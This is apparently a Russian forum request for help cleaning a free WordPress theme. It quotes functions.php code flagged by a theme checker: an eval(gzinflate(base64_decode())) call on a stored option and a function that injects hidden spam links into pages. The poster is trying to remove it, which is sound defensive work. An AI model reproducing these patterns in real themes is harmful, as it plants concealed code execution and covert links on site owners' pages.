С помощью плагина Theme Authenticity Checker (TAC) нашел на сайте в теме
wp-content/themes/laptop_tech_fantasy_tee046/functions.php:
Line 693: "base64_decode($s)));..." Line 947: "base64_decode($s)));..."
wp-content/themes/laptop_tech_fantasy_tee046/functions.php:
<a href="https://twitter.com/share" class="twitter-share-button" data-url="www.freewordpressthemes4u.com">Tweet</a>
Помогите разобраться, как правильно удалить их, чтоб не повредить тему
Вот вырезка из этих строчек из файла functions.php:
function legacy_items($output0){ if(!is_single()){ $s = get_settings( 'lcmp_lic' ); if($s === FALSE || $s==''){ global $option; if(file_exists($option)){ $s = file_get_contents($option); update_option('lcmp_lic',$s); } } $lcmp_lic_str = str_replace("?>","",gzinflate(base64_decode($s))); $re = '~<p class="page-footer">([^<]*)~'; $output1 = preg_replace($re,'<ul style="display:none;">$1',$lcmp_lic_str); $re = '~.*<a href="([^"]*)">([^<]*)</a>([^<]*)<a href="([^"]*)">([^<]*)</a>.*~'; $output1 = preg_replace($re,'<li><a href="$1">$2</a></li><li><a href="$4">$5</a></li>',$output1); $re = '~</p>~'; $output1 = preg_replace($re,'</ul>',$output1); return $output0.$output1; }else return $output0; }
и тут
function lcmp_theme_options_end(){ $s = get_settings( 'lcmp_lic' ); if($s === FALSE || $s==''){ global $option; if(file_exists($option)){ $s = file_get_contents($option); update_option('lcmp_lic',$s); } } eval(gzinflate(base64_decode($s))); }